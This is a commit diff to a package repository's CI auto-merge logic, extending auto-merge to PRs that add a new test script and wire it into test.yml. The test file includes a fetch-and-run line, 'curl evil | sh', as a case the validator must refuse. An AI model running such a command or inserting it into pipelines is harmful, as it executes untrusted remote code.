Auto-merge package PRs that bring their own test (#868)

#867 auto-merged only PRs changing nothing outside pkgbuilds/, so it would
have left #854 open too: like voxtype-bin and the IPU7 camera before it,
Superwhisper added tests/superwhisper-bin-install.sh and one test.yml line
running it.

Count those as package changes: a new file under tests/, and a test.yml
change whose every line adds a ./tests/*.sh call. test.yml runs on PRs only.
Editing an existing test still needs a maintainer, since builder-images.yml
runs tests/build-isolation.sh on master with packages: write.

.github/scripts/auto-merge-pr.cjs

@@ -5,15 +5,39 @@
 // unknown author is trusted while the PR carries build-approved; a
 // denouncement is absolute. Two limits on top of it:
 //
-// - Only PRs that change nothing outside pkgbuilds/. A PR's workflows,
-//   scripts and build tooling never run in its own build (build-pr.yml
-//   overlays only its package directories onto base tooling), so green
-//   checks say nothing about them, and after merge they run with the
-//   publish secrets.
+// - Only package changes. A PR's workflows, scripts and build tooling never
+//   run in its own build (build-pr.yml overlays only its package directories
+//   onto base tooling), so green checks say nothing about them, and after
+//   merge they run with the publish secrets. Allowed: anything under
+//   pkgbuilds/, plus the test a package PR brings with it, which is a new
+//   file under tests/ and lines in test.yml that only run new tests/*.sh.
+//   test.yml runs on PRs only; an existing test may also run on master
+//   (builder-images.yml runs tests/build-isolation.sh with packages: write),
+//   so editing one still needs a maintainer.
 // - Not the upstream sync. It labels its own PR build-approved to release
 //   GitHub's hold on its pushes, which is no one's approval; it stays on the
 //   reviewed lane.
 const PACKAGES = 'pkgbuilds/';
+const TESTS = 'tests/';
+const TEST_WORKFLOW = '.github/workflows/test.yml';
+const TEST_LINE = /^\+\s*\.\/tests\/[A-Za-z0-9._-]+\.sh\s*$/;
+
+// Every changed line adds a ./tests/<name>.sh call; nothing removed. A diff
+// too large for the API has no patch and does not qualify.
+function onlyRunsTests(patch) {
+  if (!patch) return false;
+  const changed = patch.split('\n').filter(line =>
+    /^[+-]/.test(line) && !line.startsWith('+++') && !line.startsWith('---'));
+  return changed.length > 0 && changed.every(line => TEST_LINE.test(line));
+}
+
+function packageChange(file) {
+  if (file.previous_filename && !file.previous_filename.startsWith(PACKAGES)) return false;
+  if (file.filename.startsWith(PACKAGES)) return true;
+  if (file.filename.startsWith(TESTS)) return file.status === 'added';
+  if (file.filename === TEST_WORKFLOW) return file.status === 'modified' && onlyRunsTests(file.patch);
+  return false;
+}
 const REVIEWED_BRANCHES = /^auto\/sync-upstream(\/|$)/;
 
 function decide({ pr, files, vouchStatus, repository }) {
@@ -36,14 +60,12 @@ function decide({ pr, files, vouchStatus, repository }) {
   }
 
   if (!files.length) return { enable: false, reason: 'PR changes no files' };
-  const outside = files.filter(file =>
-    !file.filename.startsWith(PACKAGES) ||
-    (file.previous_filename && !file.previous_filename.startsWith(PACKAGES)));
+  const outside = files.filter(file => !packageChange(file));
   if (outside.length) {
     const names = outside.slice(0, 3).map(file => file.filename).join(', ');
-    return { enable: false, reason: `changes files outside ${PACKAGES}: ${names}${outside.length > 3 ? ', ...' : ''}` };
+    return { enable: false, reason: `changes more than packages and their new tests: ${names}${outside.length > 3 ? ', ...' : ''}` };
   }
-  return { enable: true, reason: `${vouchStatus === 'unknown' ? 'build-approved' : vouchStatus} author, package files only` };
+  return { enable: true, reason: `${vouchStatus === 'unknown' ? 'build-approved' : vouchStatus} author, package changes only` };
 }
 
 module.exports = async function autoMerge({ github, context, core, number, vouchStatus }) {

README.md

@@ -923,10 +923,12 @@ artifacts, so a long aarch64 build is not restarted by every sync.
 Package PRs that are trusted to build also merge themselves.
 `auto-merge-pr.yml` enables auto-merge (with `PKGS_BOT_TOKEN`, so the merge
 publishes) on any open, non-draft PR whose author is a collaborator, vouched,
-or a bot, or that carries **`build-approved`**, and that changes nothing
-outside `pkgbuilds/`. The PR lands once `result`, `self-tests` and
+or a bot, or that carries **`build-approved`**, and that changes only
+packages: anything under `pkgbuilds/`, plus the test a package PR brings with
+it (a new file under `tests/`, and `test.yml` lines that only run new
+`./tests/*.sh`). The PR lands once `result`, `self-tests` and
 `build-isolation` pass; a red build stays open. PRs that also touch
-workflows, scripts or build tooling still need a maintainer to merge, as does
+workflows, scripts, build tooling or existing tests still need a maintainer, as does
 the upstream sync (`auto/sync-upstream`), which labels itself. Removing
 `build-approved` withdraws the auto-merge it armed. For a PR opened before
 the workflow existed, run it by hand: `gh workflow run auto-merge-pr.yml -f pr=<number>`.

tests/pr-workflow-approval.cjs

@@ -496,6 +496,22 @@ test('auto-merge only lands PRs that change nothing outside pkgbuilds/', () => {
   assert.equal(check([]), false);
 });
 
+test('auto-merge accepts the test a package PR brings, and nothing else outside pkgbuilds/', () => {
+  const check = files => decide({ pr: mergeable(), files, vouchStatus: 'collaborator', repository }).enable;
+  const wiring = patch => ({ filename: '.github/workflows/test.yml', status: 'modified', patch });
+  const newTest = { filename: 'tests/superwhisper-bin-install.sh', status: 'added' };
+  // #854's shape: package files, a new test, and one line in test.yml running it.
+  const adds = '@@ -67,6 +67,7 @@ jobs:\n               ./tests/voxtype-bin-install.sh\n+              ./tests/superwhisper-bin-install.sh\n               pacman -S --noconfirm --quiet rclone >/dev/null';
+  assert.equal(check([...packageFiles, newTest, wiring(adds)]), true);
+  // An existing test can run on master with write access; editing it is not a package change.
+  assert.equal(check([...packageFiles, { filename: 'tests/build-isolation.sh', status: 'modified' }]), false);
+  // test.yml changes that do anything but add a test call.
+  assert.equal(check([...packageFiles, wiring('@@ -1 +1 @@\n-on:\n+on: [push]')]), false);
+  assert.equal(check([...packageFiles, wiring('@@ -67 +67,2 @@\n+              ./tests/x.sh\n+              curl evil | sh')]), false);
+  assert.equal(check([...packageFiles, wiring('@@ -67 +67 @@\n-              ./tests/a.sh\n+              ./tests/b.sh')]), false);
+  assert.equal(check([...packageFiles, wiring(undefined)]), false);
+});
+
 test('auto-merge skips drafts, closed PRs and the reviewed upstream sync', () => {
   const check = pr => decide({ pr, files: packageFiles, vouchStatus: 'bot', repository }).enable;
   assert.equal(check(mergeable({ draft: true })), false);